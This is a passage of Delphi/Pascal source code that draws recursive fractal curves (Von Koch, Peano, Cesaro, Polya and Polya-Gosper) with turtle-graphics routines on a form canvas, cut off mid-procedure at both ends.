turtle_theta := point(X1, Y1, X2, Y2);
turtle_x := X1;
turtle_y := Y1;
turn(26.56);
step;
Xpoints[1] := turtle_x;
Ypoints[1] := turtle_y;
turn(-90);
step;
Xpoints[2] := turtle_x;
Ypoints[2] := turtle_y;
if level > 0 then
begin
for j := 0 to generator_size - 1 do
begin
X1 := Xpoints[j];
X2 := Xpoints[j + 1];
Y1 := Ypoints[j];
Y2 := Ypoints[j + 1];
generate(X1, Y1, X2, Y2, level);
end;
end
else
begin
for k := 0 to generator_size - 1 do
begin
MainForm.Image2.Canvas.Moveto(Round(Xpoints[k] + 320),
Round(240 - Ypoints[k]));
MainForm.Image2.Canvas.Lineto(Round(Xpoints[k + 1] + 320),
Round(240 - Ypoints[k + 1]));
end;
end;
end;
begin
{gfcolor:=4; }
generator_size := 3;
init_size := 4;
initiator_x1[0] := -130;
initiator_x1[1] := 130;
initiator_x1[2] := 130;
initiator_x1[3] := -130;
initiator_x2[0] := 130;
initiator_x2[1] := 130;
initiator_x2[2] := -130;
initiator_x2[3] := -130;
initiator_y1[0] := 130;
initiator_y1[1] := 130;
initiator_y1[2] := -130;
initiator_y1[3] := -130;
initiator_y2[0] := 130;
initiator_y2[1] := -130;
initiator_y2[2] := -130;
initiator_y2[3] := 130;
if level < 0 then level := 0
else if level > 8 then level := 8;
if Level > 0 then
begin
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor;
Font.Color := TempColor;
{MainForm.Show;}
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level);
end;
Textout(10, 10, 'Von Koch 3' + ' Level: ' + IStringer(Level));
end; end else
begin
for lc := 1 to 4 do
begin
level := lc;
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor;
Font.Color := TempColor;
{MainForm.Show;}
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level);
end;
TextOut(10, 10, 'Von Koch 3' + ' Level: ' +
IStringer(Level));
{inc(GFColor);}
bRotateImage := False; {in the Drawing...}
bRotatingImage := True;
repeat Application.ProcessMessages until (bRotateImage =
True);
end;
end; end;
end; (* of qkoch3 *)
procedure peanoor(level: integer);
var TempColor: TColor;
Gfcolor, maxcolx, maxrowy,
lc, {lcc,counter,} i, generator_size, init_size: integer;
{ Xpoints, Ypoints: array[0..24] of Extended; }
initiator_x1, initiator_x2, initiator_y1, initiator_y2: array[0..9]
of Extended;
procedure generate(X1: Extended; Y1: Extended; X2: Extended; Y2:
Extended;
level: integer);
var
j, k: integer;
{ a, b: Extended; }
Xpoints, Ypoints: array[0..24] of Extended;
begin
dec(level);
turtle_r := (sqrt((X2 - X1) * (X2 - X1)
+ (Y2 - Y1) * (Y2 - Y1))) / 3.0;
Xpoints[0] := X1;
Ypoints[0] := Y1;
Xpoints[9] := X2;
Ypoints[9] := Y2;
turtle_theta := point(X1, Y1, X2, Y2);
turtle_x := X1;
turtle_y := Y1;
step;
Xpoints[1] := turtle_x;
Ypoints[1] := turtle_y;
turn(90);
step;
Xpoints[2] := turtle_x;
Ypoints[2] := turtle_y;
turn(-90);
step;
Xpoints[3] := turtle_x;
Ypoints[3] := turtle_y;
turn(-90);
step;
Xpoints[4] := turtle_x;
Ypoints[4] := turtle_y;
turn(-90);
step;
Xpoints[5] := turtle_x;
Ypoints[5] := turtle_y;
turn(90);
step;
Xpoints[6] := turtle_x;
Ypoints[6] := turtle_y;
turn(90);
step;
Xpoints[7] := turtle_x;
Ypoints[7] := turtle_y;
turn(90);
step;
Xpoints[8] := turtle_x;
Ypoints[8] := turtle_y;
if level > 0 then
begin
for j := 0 to generator_size - 1 do
begin
X1 := Xpoints[j];
X2 := Xpoints[j + 1];
Y1 := Ypoints[j];
Y2 := Ypoints[j + 1];
generate(X1, Y1, X2, Y2, level);
end;
end
else
begin
for k := 0 to generator_size - 1 do
begin {*0.729}
TempColor := RGB(RGBArray[0, GfColor],
RGBArray[1, GfColor], RGBArray[2, GfColor]);
MainForm.Image2.Canvas.Moveto(Round(Xpoints[k] + 320),
Round(240 - Ypoints[k]));
MainForm.Image2.Canvas.LineTo(Round(Xpoints[k + 1] + 320),
Round(240 - Ypoints[k + 1]));
end;
end;
end;
begin
GfColor := 4;
generator_size := 9;
init_size := 1;
initiator_x1[0] := 0;
initiator_x2[0] := 0;
initiator_y1[0] := -200; {-100}
initiator_y2[0] := 200; {100}
if level < 0 then level := 0
else if level > 8 then level := 8;
if Level > 0 then
begin
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level {GfColor}],
RGBArray[1, Level {GfColor}], RGBArray[2, Level {GfColor}]);
Pen.Color := TempColor;
Font.Color := TempColor;
TextOut(10, 10, 'Peano' + ' Level: ' + IStringer(Level));
MainForm.Show;
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level);
end;
end; end else
begin
MainForm.Show;
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
for lc := 1 to 4 do
begin
level := lc;
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, GfColor],
RGBArray[1, GfColor], RGBArray[2, GfColor]);
Pen.Color := TempColor;
Font.Color := TempColor;
TextOut(10, 10, 'Peano' + ' Level: ' + IStringer(Level));
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level);
end;
inc(GFColor);
bRotateImage := False; {in the Drawing...}
bRotatingImage := True;
repeat Application.ProcessMessages until (bRotateImage =
True);
end; end;
end;
end;
procedure peanomod(level: integer);
var TempColor: TColor;
Gfcolor, maxcolx, maxrowy,
lc, {lcc,counter,} i, generator_size, init_size: integer;
Xptemp, Yptemp: Extended;
{ Xpoints, Ypoints: array[0..24] of Extended; }
initiator_x1, initiator_x2, initiator_y1, initiator_y2: array[0..9]
of Extended;
procedure generate(X1: Extended; Y1: Extended; X2: Extended; Y2:
Extended;
level: integer);
var
j, k: integer;
{ a, b: Extended;}
Xpoints, Ypoints: array[0..24] of Extended;
begin
dec(level);
Xpoints[0] := X1;
Ypoints[0] := Y1;
turtle_theta := point(X1, Y1, X2, Y2);
turtle_x := X1;
turtle_y := Y1;
if level <> 0 then
begin
turtle_r := (sqrt((X2 - X1) * (X2 - X1) + (Y2 - Y1) *
(Y2 - Y1))) / 3.0;
Xpoints[9] := X2;
Ypoints[9] := Y2;
step;
Xpoints[1] := turtle_x;
Ypoints[1] := turtle_y;
turn(90);
step;
Xpoints[2] := turtle_x;
Ypoints[2] := turtle_y;
turn(-90);
step;
Xpoints[3] := turtle_x;
Ypoints[3] := turtle_y;
turn(-90);
step;
Xpoints[4] := turtle_x;
Ypoints[4] := turtle_y;
turn(-90);
step;
Xpoints[5] := turtle_x;
Ypoints[5] := turtle_y;
turn(90);
step;
Xpoints[6] := turtle_x;
Ypoints[6] := turtle_y;
turn(90);
step;
Xpoints[7] := turtle_x;
Ypoints[7] := turtle_y;
turn(90);
step;
Xpoints[8] := turtle_x;
Ypoints[8] := turtle_y;
for j := 0 to 8 do
begin
X1 := Xpoints[j];
X2 := Xpoints[j + 1];
Y1 := Ypoints[j];
Y2 := Ypoints[j + 1];
generate(X1, Y1, X2, Y2, level);
end;
end
else
begin
turtle_r := (sqrt((X2 - X1) * (X2 - X1) + (Y2 - Y1) *
(Y2 - Y1))) / 18.0;
Xpoints[0] := Xptemp;
Ypoints[0] := Yptemp;
Xpoints[19] := X2;
Ypoints[19] := Y2;
step;
Xpoints[1] := turtle_x;
Ypoints[1] := turtle_y;
step;
step;
step;
Xpoints[2] := turtle_x;
Ypoints[2] := turtle_y;
step;
turn(90);
step;
Xpoints[3] := turtle_x;
Ypoints[3] := turtle_y;
step;
step;
step;
step;
Xpoints[4] := turtle_x;
Ypoints[4] := turtle_y;
step;
turn(-90);
step;
Xpoints[5] := turtle_x;
Ypoints[5] := turtle_y;
step;
step;
step;
step;
Xpoints[6] := turtle_x;
Ypoints[6] := turtle_y;
step;
turn(-90);
step;
Xpoints[7] := turtle_x;
Ypoints[7] := turtle_y;
step;
step;
step;
step;
Xpoints[8] := turtle_x;
Ypoints[8] := turtle_y;
step;
turn(-90);
step;
Xpoints[9] := turtle_x;
Ypoints[9] := turtle_y;
step;
step;
step;
step;
Xpoints[10] := turtle_x;
Ypoints[10] := turtle_y;
step;
turn(90);
step;
Xpoints[11] := turtle_x;
Ypoints[11] := turtle_y;
step;
step;
step;
step;
Xpoints[12] := turtle_x;
Ypoints[12] := turtle_y;
step;
turn(90);
step;
Xpoints[13] := turtle_x;
Ypoints[13] := turtle_y;
step;
step;
step;
step;
Xpoints[14] := turtle_x;
Ypoints[14] := turtle_y;
step;
turn(90);
step;
Xpoints[15] := turtle_x;
Ypoints[15] := turtle_y;
step;
step;
step;
step;
Xpoints[16] := turtle_x;
Ypoints[16] := turtle_y;
step;
turn(-90);
step;
Xpoints[17] := turtle_x;
Ypoints[17] := turtle_y;
step;
step;
step;
step;
Xpoints[18] := turtle_x;
Ypoints[18] := turtle_y;
Xptemp := Xpoints[18];
Yptemp := Ypoints[18];
for k := 0 to generator_size - 2 do
begin
TempColor := RGB(RGBArray[0, GfColor],
RGBArray[1, GfColor], RGBArray[2, GfColor]);
MainForm.Image2.Canvas.Moveto(Round(Xpoints[k] + 320),
Round(240 - Ypoints[k]));
MainForm.Image2.Canvas.LineTo(Round(Xpoints[k + 1] + 320),
Round(240 - Ypoints[k + 1]));
end;
end;
end;
begin
GfColor := 1;
generator_size := 19;
init_size := 1;
initiator_x1[0] := 0;
initiator_x2[0] := 0;
initiator_y1[0] := -200;
initiator_y2[0] := 200;
if level < 0 then level := 0
else if level > 8 then level := 8;
if Level > 0 then
begin
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor;
Font.Color := TempColor;
MainForm.Show;
if Level = 1 then Level := 2;
TextOut(10, 10, 'Peano Modified' + ' Level: ' +
IStringer(Level));
Xptemp := initiator_x1[0];
Yptemp := initiator_y1[0];
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level);
end;
end; end else
begin
for lc := 2 to 5 do
begin
level := lc;
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor;
Font.Color := TempColor;
TextOut(10, 10, 'Peano Modified' + ' Level: ' +
IStringer(Level));
MainForm.Show;
Xptemp := initiator_x1[0];
Yptemp := initiator_y1[0];
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level);
end;
inc(GFColor);
bRotateImage := False; {in the Drawing...}
bRotatingImage := True;
repeat Application.ProcessMessages until (bRotateImage =
True);
end; end;
end;
end;
procedure cesaro(level: integer);
var TempColor: TColor;
Gfcolor, maxcolx, maxrowy,
lc, {lcc,counter,} sign1, i, generator_size, init_size: integer;
{ Xpoints, Ypoints: array[0..24] of extended;}
initiator_x1, initiator_x2, initiator_y1, initiator_y2: array[0..9]
of extended;
sign: array[0..15] of integer;
procedure generate(X1: Extended; Y1: Extended; X2: Extended; Y2:
Extended;
level: integer);
var
j {,k}: integer;
{ a, b: extended; }
Xpoints, Ypoints: array[0..24] of extended;
begin
dec(level);
turtle_r := sqrt((X2 - X1) * (X2 - X1) + (Y2 - Y1) * (Y2 - Y1)) /
2.0;
Xpoints[0] := X1;
Ypoints[0] := Y1;
Xpoints[2] := X2;
Ypoints[2] := Y2;
turtle_theta := point(X1, Y1, X2, Y2);
turtle_x := X1;
turtle_y := Y1;
step;
Xpoints[3] := turtle_x;
Ypoints[3] := turtle_y;
turn(90 * sign[level]);
step;
Xpoints[1] := turtle_x;
Ypoints[1] := turtle_y;
if level > 0 then
begin
for j := 0 to generator_size - 2 do
begin
X1 := Xpoints[j];
X2 := Xpoints[j + 1];
Y1 := Ypoints[j];
Y2 := Ypoints[j + 1];
generate(X1, Y1, X2, Y2, level);
end;
end
else
begin
MainForm.Image2.Canvas.Moveto(Round(Xpoints[0] + 320), Round(240
- Ypoints[0]));
MainForm.Image2.Canvas.Lineto(Round(Xpoints[2] + 320), Round(240
- Ypoints[2]));
MainForm.Image2.Canvas.Moveto(Round(Xpoints[1] + 320), Round(240
- Ypoints[1]));
MainForm.Image2.Canvas.Lineto(Round(Xpoints[3] + 320), Round(240
- Ypoints[3]));
end;
end;
begin
GfColor := 4;
generator_size := 3;
init_size := 1;
initiator_x1[0] := -200; {-150}
initiator_x2[0] := 200; {150}
initiator_y1[0] := -50; {0}
initiator_y2[0] := -50; {0}
if level < 0 then level := 0
else if level > 8 then level := 8;
if LEvel > 0 then
begin
level := 2 * level; { this was a 16 level dodad }
MainForm.Show;
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, GfColor],
RGBArray[1, GfColor], RGBArray[2, GfColor]);
Pen.Color := TempColor;
Font.Color := TempColor;
TextOut(10, 10, 'Cesaro' + ' Level: ' + IStringer(Level));
sign1 := -1;
for i := level downto 0 do
begin
sign[i] := sign1;
sign1 := -sign1;
end;
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level);
end;
end; end else
begin
for lc := 1 to 4 do
begin
level := lc * 2; { this was a 16 level dodad }
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, GfColor],
RGBArray[1, GfColor], RGBArray[2, GfColor]);
Pen.Color := TempColor;
Font.Color := TempColor;
TextOut(10, 10, 'Cesaro' + ' Level: ' + IStringer(Level));
MainForm.Show;
sign1 := -1;
for i := level downto 0 do
begin
sign[i] := sign1;
sign1 := -sign1;
end;
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level);
end;
inc(GFColor);
end; end;
end;
end; { of Cesaro }
procedure CesaroMD(level: integer);
var
TempColor: TColor; maxcolx, maxrowy, GfColor,
lc, {lcc,counter, } sign1, i, generator_size, init_size: integer;
{ Xpoints, Ypoints: array[0..24] of Extended;}
initiator_x1, initiator_x2, initiator_y1, initiator_y2: array[0..9]
of Extended;
sign: array[0..15] of integer;
procedure generate(X1: Extended; Y1: Extended; X2: Extended; Y2:
Extended;
level: integer);
var
j {,k}: integer;
a, b: Extended;
Xpoints, Ypoints: array[0..24] of Extended;
begin
dec(level);
a := sqrt((X2 - X1) * (X2 - X1) + (Y2 - Y1) * (Y2 - Y1)) / 2.0;
b := a * 0.9128442;
turtle_r := b;
Xpoints[0] := X1;
Ypoints[0] := Y1;
Xpoints[2] := X2;
Ypoints[2] := Y2;
turtle_theta := point(X1, Y1, X2, Y2);
turtle_x := X1;
turtle_y := Y1;
step;
Xpoints[3] := turtle_x;
Ypoints[3] := turtle_y;
turn(85 * sign[level]);
turtle_r := a;
step;
Xpoints[1] := turtle_x;
Ypoints[1] := turtle_y;
turn(-170 * sign[level]);
step;
Xpoints[4] := turtle_x;
Ypoints[4] := turtle_y;
if level > 0 then
begin
for j := 0 to generator_size - 2 do
begin
X1 := Xpoints[j];
X2 := Xpoints[j + 1];
Y1 := Ypoints[j];
Y2 := Ypoints[j + 1];
generate(X1, Y1, X2, Y2, level);
end;
end
else
begin
MainForm.Image2.Canvas.Moveto(Round(Xpoints[0] + 320), Round(240
- Ypoints[0]));
MainForm.Image2.Canvas.Lineto(Round(Xpoints[3] + 320), Round(240
- Ypoints[3]));
MainForm.Image2.Canvas.Moveto(Round(Xpoints[2] + 320), Round(240
- Ypoints[2]));
MainForm.Image2.Canvas.Lineto(Round(Xpoints[4] + 320), Round(240
- Ypoints[4]));
MainForm.Image2.Canvas.Moveto(Round(Xpoints[3] + 320), Round(240
- Ypoints[3]));
MainForm.Image2.Canvas.Lineto(Round(Xpoints[1] + 320), Round(240
- Ypoints[1]));
MainForm.Image2.Canvas.Moveto(Round(Xpoints[4] + 320), Round(240
- Ypoints[4]));
MainForm.Image2.Canvas.Lineto(Round(Xpoints[1] + 320), Round(240
- Ypoints[1]));
end;
end;
begin
GfColor := 4;
generator_size := 3;
init_size := 1;
initiator_x1[0] := -200; {-150}
initiator_x2[0] := 200; {150}
initiator_y1[0] := -50; {0}
initiator_y2[0] := -50; {0}
if level < 0 then level := 0
else if level > 8 then level := 8;
if LEvel > 0 then
begin
level := 2 * level; { this was 16 levels }
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, GfColor],
RGBArray[1, GfColor], RGBArray[2, GfColor]);
Pen.Color := TempColor;
Font.Color := TempColor;
TextOut(10, 10, 'Cesaro MD' + ' Level: ' + IStringer(Level));
MainForm.Show;
sign1 := -1;
for i := level downto 0 do
begin
sign[i] := sign1;
sign1 := -sign1;
end;
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level);
end;
end; end else
begin
for lc := 1 to 4 do
begin
level := lc * 2; { this was 16 levels }
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, GfColor],
RGBArray[1, GfColor], RGBArray[2, GfColor]);
Pen.Color := TempColor;
Font.Color := TempColor;
TextOut(10, 10, 'Cesaro MD' + ' Level: ' + IStringer(Level));
MainForm.Show;
sign1 := -1;
for i := level downto 0 do
begin
sign[i] := sign1;
sign1 := -sign1;
end;
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level);
end;
inc(GFColor);
bRotateImage := False; {in the Drawing...}
bRotatingImage := True;
repeat Application.ProcessMessages until (bRotateImage =
True);
end; end;
end;
end; { of cesaromod }
procedure Cesaro2(level: integer);
var
TempColor: TColor; maxcolx, maxrowy, {GfColor,}
lc, {lcc,counter, } sign, i, generator_size, init_size: integer;
{ Xpoints, Ypoints: array[0..24] of Extended;}
initiator_x1, initiator_x2, initiator_y1, initiator_y2: array[0..9]
of Extended;
procedure generate(X1: Extended; Y1: Extended; X2: Extended; Y2:
Extended;
level: integer);
var
j: integer;
{ b: Extended; }
Xpoints, Ypoints: array[0..24] of Extended;
begin
dec(level);
turtle_r := sqrt((X2 - X1) * (X2 - X1) + (Y2 - Y1) * (Y2 - Y1)) /
2.0;
Xpoints[0] := X1;
Ypoints[0] := Y1;
Xpoints[2] := X2;
Ypoints[2] := Y2;
turtle_theta := point(X1, Y1, X2, Y2);
turtle_x := X1;
turtle_y := Y1;
step;
Xpoints[3] := turtle_x;
Ypoints[3] := turtle_y;
turn(90 * sign);
step;
Xpoints[1] := turtle_x;
Ypoints[1] := turtle_y;
sign := -1;
if level > 0 then
begin
for j := 0 to generator_size - 2 do
begin
X1 := Xpoints[j];
X2 := Xpoints[j + 1];
Y1 := Ypoints[j];
Y2 := Ypoints[j + 1];
generate(X1, Y1, X2, Y2, level);
end;
end
else
begin { was TOO low so 240 is now 140}
MainForm.Image2.Canvas.Moveto(Round(Xpoints[0] + 320), Round(140
- Ypoints[0]));
MainForm.Image2.Canvas.Lineto(Round(Xpoints[2] + 320), Round(140
- Ypoints[2]));
MainForm.Image2.Canvas.Moveto(Round(Xpoints[1] + 320), Round(140
- Ypoints[1]));
MainForm.Image2.Canvas.Lineto(Round(Xpoints[3] + 320), Round(140
- Ypoints[3]));
end;
end;
begin
{GfColor :=4; }
{pcxVGASetup;}
generator_size := 3;
init_size := 1;
initiator_x1[0] := -150;
initiator_x2[0] := 150;
initiator_y1[0] := 0; {0}
initiator_y2[0] := 0; {0}
if level < 0 then level := 0
else if level > 8 then level := 8;
if Level > 0 then
begin
level := 2 * level; { this was 16 levels }
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor;
Font.Color := TempColor;
MainForm.Show;
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level);
end;
TextOut(10, 10, 'Cesaro 2' + ' Level: ' + IStringer(Level));
end; end else
begin
for lc := 1 to 4 do
begin
level := lc * 2; { this was 16 levels }
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor;
Font.Color := TempColor;
MainForm.Show;
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level);
end;
TextOut(10, 10, 'Cesaro 2' + ' Level: ' + IStringer(Level));
{inc(GFColor); }
bRotateImage := False; {in the Drawing...}
bRotatingImage := True;
repeat Application.ProcessMessages until (bRotateImage =
True);
end;
end; end;
end;
procedure polya(level: integer);
var
TempColor: TColor; maxcolx, maxrowy, {GfColor,}
ill, iin, lc, {lcc,counter, } sign1, generator_size, init_size:
integer;
{ Xpoints, Ypoints: array[0..24] of Extended;}
initiator_x1, initiator_x2, initiator_y1, initiator_y2: array[0..9]
of Extended;
sign: array[0..16] of integer;
procedure generate(X1: Extended; Y1: Extended; X2: Extended; Y2:
Extended;
level: integer);
var
j, k: integer;
{ a, b: Extended; }
Xpoints, Ypoints: array[0..24] of Extended;
begin {/1.41421}
turtle_r := (sqrt((X2 - X1) * (X2 - X1) + (Y2 - Y1) * (Y2 - Y1)))
/ 1.41421;
Xpoints[0] := X1;
Ypoints[0] := Y1;
Xpoints[2] := X2;
Ypoints[2] := Y2;
turtle_theta := point(X1, Y1, X2, Y2);
turtle_x := X1;
turtle_y := Y1;
turn(sign[level] * 45);
step;
Xpoints[1] := turtle_x;
Ypoints[1] := turtle_y;
dec(level);
if level > 0 then
begin
for j := 0 to generator_size - 2 do
begin
X1 := Xpoints[j];
X2 := Xpoints[j + 1];
Y1 := Ypoints[j];
Y2 := Ypoints[j + 1];
generate(X1, Y1, X2, Y2, level);
sign[level] := -sign[level];
end;
end
else
begin
for k := 0 to generator_size - 2 do begin
MainForm.Image2.Canvas.Moveto(Round(Xpoints[k] + 320),
Round(240 - Ypoints[k]));
MainForm.Image2.Canvas.Lineto(Round(Xpoints[k + 1] + 320),
Round(240 - Ypoints[k + 1]));
end;
end;
end;
begin
{GfColor:=4; }
if level < 0 then level := 0
else if level > 8 then level := 8;
if Level > 0 then
begin
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor;
Font.Color := TempColor;
MainForm.Show;
sign1 := 1;
generator_size := 3;
init_size := 2;
initiator_x1[0] := -150;
initiator_x2[0] := 150;
initiator_y1[0] := -75; {-75}
initiator_y2[0] := -75; {-75}
for ill := level downto 0 do
begin
sign[ill] := sign1;
sign1 := -sign1;
end;
for iin := 0 to init_size - 2 do
begin
generate(initiator_x1[iin], initiator_y1[iin],
initiator_x2[iin],
initiator_y2[iin], level);
end;
TextOut(10, 10, 'Polya' + ' Level: ' + IStringer(Level));
end; end else
begin
for lc := 1 to 4 do
begin
level := lc;
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor;
Font.Color := TempColor;
MainForm.Show;
sign1 := 1;
generator_size := 3;
init_size := 2;
initiator_x1[0] := -150;
initiator_x2[0] := 150;
initiator_y1[0] := -75; {-75}
initiator_y2[0] := -75; {-75}
for ill := level downto 0 do
begin
sign[ill] := sign1;
sign1 := -sign1;
end;
for iin := 0 to init_size - 2 do
begin
generate(initiator_x1[iin], initiator_y1[iin],
initiator_x2[iin],
initiator_y2[iin], level);
end;
TextOut(10, 10, 'Polya' + ' Level: ' + IStringer(Level));
{inc(GFColor); }
bRotateImage := False; {in the Drawing...}
bRotatingImage := True;
repeat Application.ProcessMessages until (bRotateImage =
True);
end;
end; end;
end; { of Polya }
procedure pgosper(level: integer);
var
TempColor: TColor; maxcolx, maxrowy, lc,
i, generator_size, init_size: integer;
gen_type: integer;
sign: Extended;
Xpoints, Ypoints: array[0..24] of Extended;
initiator_x1, initiator_x2, initiator_y1, initiator_y2: array[0..9]
of Extended;
procedure generate(X1: Extended; Y1: Extended; X2: Extended; Y2:
Extended;
level: integer; gen_type: integer);
var
j, k, set_type: integer;
{ a,b,} temp: Extended;
{ Xpoints, Ypoints: array[0..24] of Extended;}
begin
case gen_type of
1: sign := -sign;
2: begin
sign := -sign;
temp := X1;
X1 := X2;
X2 := temp;
temp := Y1;
Y1 := Y2;
Y2 := temp;
end;
3: begin
temp := X1;
X1 := X2;
X2 := temp;
temp := Y1;
Y1 := Y2;
Y2 := temp;
end;
end;
dec(level);
turtle_r := (sqrt((X2 - X1) * (X2 - X1) + (Y2 - Y1) * (Y2 - Y1)))
{/ 1.81421}/ 2.6457513;
Xpoints[0] := X1;
Ypoints[0] := Y1;
Xpoints[7] := X2;
Ypoints[7] := Y2;
turtle_theta := point(X1, Y1, X2, Y2);
turn(-19 * sign);
turtle_x := X1;
turtle_y := Y1;
step;
Xpoints[1] := turtle_x;
Ypoints[1] := turtle_y;
turn(60 * sign);
step;
Xpoints[2] := turtle_x;
Ypoints[2] := turtle_y;
turn(120 * sign);
step;
Xpoints[3] := turtle_x;
Ypoints[3] := turtle_y;
turn(-60 * sign);
step;
Xpoints[4] := turtle_x;
Ypoints[4] := turtle_y;
turn(-120 * sign);
step;
Xpoints[5] := turtle_x;
Ypoints[5] := turtle_y;
step;
Xpoints[6] := turtle_x;
Ypoints[6] := turtle_y;
if level = 0 then
begin
for k := 0 to generator_size - 2 do
begin
MainForm.Image2.Canvas.Moveto(Round(Xpoints[k] + 320),
Round(175 - Ypoints[k] * 0.729));
MainForm.Image2.Canvas.Lineto(Round(Xpoints[k + 1] + 320),
Round(175 - Ypoints[k + 1] * 0.729));
end;
end
else
begin
for j := 0 to generator_size - 2 do
begin
case j of
0, 3, 4, 5: set_type := 0;
2, 1, 6: set_type := 3;
else set_type := 0;
end;
X1 := Xpoints[j];
X2 := Xpoints[j + 1];
Y1 := Ypoints[j];
Y2 := Ypoints[j + 1];
generate(X1, Y1, X2, Y2, level, set_type);
end;
end;
end;
begin
if level < 0 then level := 0
else if Level > 8 then Level := 8;
if Level > 0 then
begin
if level < 3 then level := 3
else if Level > 5 then Level := 5;
sign := 1;
gen_type := 3;
generator_size := 8;
init_size := 1;
initiator_x1[0] := -150;
initiator_x2[0] := 150;
initiator_y1[0] := 75;
initiator_y2[0] := 75;
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor;
Font.Color := TempColor;
MainForm.Show;
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level, gen_type);
end;
TextOut(10, 10, 'Polya Gosper' + ' Level: ' +
